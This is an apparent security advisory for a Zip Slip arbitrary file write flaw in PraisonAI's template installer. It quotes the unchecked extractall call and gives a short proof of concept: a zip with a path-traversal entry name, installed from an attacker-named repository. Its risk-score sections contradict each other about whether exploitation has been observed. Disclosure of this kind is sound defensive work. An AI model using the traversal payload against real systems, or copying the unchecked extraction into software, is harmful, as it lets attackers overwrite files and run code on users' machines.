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GHSA-4ph2-f6pf-79wv

HighCVSS 8.1 / 10
Published Apr 6, 2026·Last modified Apr 7, 2026
Affected Components(0)

No affected components available

Description

The PraisonAI templates installation feature is vulnerable to a "Zip Slip" Arbitrary File Write attack. When downloading and extracting template archives from external sources (e.g., GitHub), the application uses Python's zipfile.extractall() without verifying if the files within the archive resolve outside of the intended extraction directory.

Details

Location: src/praisonai/praisonai/cli/features/templates.py (Line 852)

Vulnerable Code snippet:

zip_ref.extractall(tmpdir)

During installation, the CLI downloads a ZIP archive and extracts it directly into a temporary directory using zip_ref.extractall(tmpdir). A specially crafted ZIP archive can contain file entries with relative paths (such as ../../../../tmp/evil.sh). If extracting this archive in older Python versions or environments where extraction rules aren't strict, extractall will write these files outside the target directory, allowing an attacker to overwrite arbitrary files on the victim's filesystem.

PoC

  1. Generate a malicious zip payload:
import zipfile

with zipfile.ZipFile('malicious_template.zip', 'w') as z:
    # Adding a file that traverses directories
    z.writestr('../../../../../../../tmp/zip_slip_pwned.txt', 'pwned by zip slip')
  1. Trick a user into installing the malicious template:
praisonai templates install github:attacker/malicious_template
  1. Observe the zip_slip_pwned.txt file created in /tmp/ on the victim's machine.

Impact

This is an Arbitrary File Write vulnerability affecting any user who installs community templates. It can be leveraged to overwrite system files, user dotfiles, or application code, ultimately leading to system corruption or full Remote Code Execution (RCE).

Risk Scores
Base Score
8.1

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. The attacker needs the user to perform some action, like clicking a link. The impact is confined to the system where the vulnerability exists. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.

Threat Intelligence
7.4

Exploitation activity has been observed. Apply available patches or mitigations urgently.

EPSS
0.31%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

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High severity
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